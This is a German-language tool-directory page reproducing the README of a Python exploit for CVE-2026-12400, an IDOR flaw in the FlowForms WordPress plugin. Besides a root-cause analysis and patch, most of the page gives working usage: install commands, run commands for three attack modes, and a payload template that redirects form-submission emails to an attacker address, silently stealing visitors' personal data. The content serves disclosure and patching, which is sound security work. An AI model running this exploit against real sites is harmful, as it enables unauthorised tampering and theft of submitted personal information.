Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-12400-Exploit — Python-Exploit für CVE-2026-12400, eine IDOR-Schwachstelle im FlowForms WordPress-Plugin, die es authentifizierten Beitragenden ermöglicht, beliebige Formulare zu ändern und E-Mail-Benachrichtigungen zu kapern. | Kitploit
Tools/GitHubGitHub/0x00phantom-hat/cve-2026-12400-exploit
SchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsPenetrationstestsLernen & Bildung
GitHub0x00phantom-hat/cve-2026-12400-exploit

CVE-2026-12400-Exploit

Python-Exploit für CVE-2026-12400, eine IDOR-Schwachstelle im FlowForms WordPress-Plugin, die es authentifizierten Beitragenden ermöglicht, beliebige Formulare zu ändern und E-Mail-Benachrichtigungen zu kapern.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
1vor 1 MonatNoch nicht geprüft

CVE-2026-12400 — FlowForms IDOR: Unbefugte Formularänderung

Authentifiziert (Contributor+) Insecure Direct Object Reference zur beliebigen Formularänderung in FlowForms ≤ 1.1.1

Schwachstellenübersicht

EigenschaftWert
CVE-IDCVE-2026-12400
CVSS-Bewertung4.3 — Mittel
CVSS-VektorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWECWE-639 (Autorisierungsumgehung durch benutzergesteuerten Schlüssel)
ProduktFlowForms — WordPress Conversational Form Builder Plugin
BetroffenAlle Versionen bis einschließlich 1.1.1
Behoben inBehoben in 1.1.2
ForscherPhantom Hat

Technische Analyse

Vollständige White-Box-Fallstudie mit Quellcodeanalyse, Eingabeflussverfolgung und Patch-Diffing:

📄 CVE-2026-12400 Fallstudie — Medium

Angriffsfläche

FlowForms stellt zwei REST-API-Endpunkte unter dem Namensraum flowforms/v1 bereit, die anfällig sind:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

Beide akzeptieren eine benutzergesteuerte {id} im URL-Pfad und ändern die Daten des Zielformulars — Name, Inhalt, Layout, Weiterleitungs-URL und E-Mail-Benachrichtigungsempfänger.

Ursache

Beide anfälligen Routenregistrierungen teilen denselben fehlerhaften permission_callback:

root@kitploit:~
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts ist eine Fähigkeit, die Contributors besitzen. Der Parameter {id} wird niemals auf den Besitz des anfordernden Benutzers überprüft — jeder authentifizierte Benutzer kann jede Formular-ID auf der Website angreifen.

Angriffsablauf

root@kitploit:~
Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Als Contributor authentifizieren
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) REST-Nonce abgreifen
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Veröffentlichte Formulare aufzählen
        │<─ HTTP 200 ───────────────────────│      (jedes zugängliche Formular ist ein Ziel)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Formularnamen/-inhalt überschreiben
        │       with attacker payload ─────>│       ← keine Besitzerprüfung
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) E-Mail-Benachrichtigungen kapern
        │       /settings ─────────────────>│       ← Angreifer erhält alle
        │<─ { "success": true } ────────────│         zukünftigen Formulareinsendungen
        │                                   │
        │   Alle 3 Angriffsvektoren bestätigt │  (5) Name ✔ Inhalt ✔ E-Mail ✔

Drei Angriffsvektoren

Der email-Modus ist am kritischsten. Nach dem Kapern wird jede Einsendung des Kontaktformulars des Opfers — einschließlich personenbezogener Daten der Besucher, Nachrichten und Kontaktdaten — still an die vom Angreifer kontrollierte Adresse weitergeleitet. Der Administrator der Website sieht keinen Hinweis auf die Änderung.


Exploit-Nutzung

Voraussetzungen

  • Python 3.8+
  • Ein authentifiziertes Konto mit mindestens der Rolle Contributor auf der Zielseite

Installation

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

Betriebsmodi

Namensänderung

Jedes Formular in vom Angreifer kontrollierten Inhalt umbenennen:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

Inhaltsänderung

Formularlayout, Bildschirme, Weiterleitungs-URL und Hintergrundbilder überschreiben:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

E-Mail-Benachrichtigung kapern (Höchste Auswirkung)

Alle zukünftigen Benachrichtigungen über Formulareinsendungen an eine vom Angreifer kontrollierte Adresse umleiten:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Mit Proxy (Burp Suite)

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Vollständige Flag-Referenz

Anpassen der Payloads

Die JSON-Payload-Vorlagen (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) sind am Anfang des Skripts definiert. Bearbeiten Sie sie vor dem Ausführen, um den Angriffsinhalt anzupassen — ändern Sie die Benachrichtigungs-E-Mail-Adresse, die Weiterleitungs-URL, das Hintergrundbild, den Formulartitel usw.

root@kitploit:~
# Top of exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← change this
                    ...
                }
            }
        }
    }
}""")

Ausführungsablauf

Der Exploit führt drei automatisierte Schritte aus:

Schritt 1 — Authentifizierung Meldet sich als Angreifer (Contributor) an und holt eine gültige REST-API-Nonce von wp-admin/post-new.php.

Schritt 2 — Formulare aufzählen Scannt GET /flowform/{id} über den angegebenen ID-Bereich. IDs, die HTTP 200 zurückgeben, werden als zugängliche Ziele gesammelt — dies sind veröffentlichte Formulare, die jedem Benutzer auf der Website gehören, einschließlich Administratoren.

Schritt 3 — Exploit Sendet je nach ausgewähltem Modus die entsprechende Payload an den ungeschützten REST-Endpunkt:

  • name / content → POST /flowforms/v1/forms/{id}
  • email → POST /flowforms/v1/forms/{id}/settings

Der Server akzeptiert die Anfrage und wendet die Änderung ohne Besitzerprüfung an.


Abhilfe

AktionDetails
PatchErsetzen Sie die generische edit_posts-Prüfung auf beiden Endpunkten durch — die Bindung der Fähigkeitsprüfung an das spezifische Beitragsobjekt erzwingt die WordPress-Besitzerregeln

Sichere Implementierung

root@kitploit:~
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),

// SECURE (patched)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

Referenzen

  • CWE-639 — Autorisierungsumgehung durch benutzergesteuerten Schlüssel
  • register_rest_route() — WordPress-Entwicklerdokumentation
  • current_user_can() — WordPress-Entwicklerdokumentation
  • FlowForms Plugin — WordPress.org

Projektstruktur

root@kitploit:~
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # Polished exploit with rich UI (3 modes)
├── requirements.txt            # Python dependencies
└── README.md                   # This file

Haftungsausschluss

Dieses Tool wird nur für autorisierte Sicherheitstests und zu Bildungsforschungszwecken bereitgestellt. Unbefugter Zugriff auf Computersysteme ist nach geltendem Recht weltweit illegal. Der Autor übernimmt keine Haftung für Missbrauch dieser Software. Holen Sie immer eine ausdrückliche schriftliche Genehmigung ein, bevor Sie ein System testen, das Ihnen nicht gehört.


Autor

Phantom Hat — Unabhängiger Sicherheitsforscher

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

Diese Forschung wurde im Rahmen einer verantwortungsvollen Offenlegung von Schwachstellen durchgeführt.

Tool herunterladen
ModusEndpunktAuswirkung
name/forms/{id}Jedes Formular umbenennen — Vandalismus, Social Engineering
content/forms/{id}Layout, Begrüßungs-/Dankesseiten, Weiterleitungs-URL überschreiben
email/forms/{id}/settingsE-Mail-Benachrichtigung kapern — still alle Formulareinsendungen erhalten
FlagKurzformBeschreibungErforderlich
--url-uZiel-WordPress-URL✅
--userWordPress-Benutzername (Contributor+)✅
--passwordWordPress-Passwort✅
--id-start-iStartformular-ID für die Aufzählung✅
--num-forms-nAnzahl der aufzuzählenden Formular-IDs✅
--exploitAngriffsmodus: name / content / email✅
--proxy-pProxy-URL (z.B. http://127.0.0.1:8080)❌
current_user_can('edit_post', $form_id)
AbschwächungBis zum Patch schränken Sie die Rollen Contributor und Author ein, wenn das Plugin aktiv ist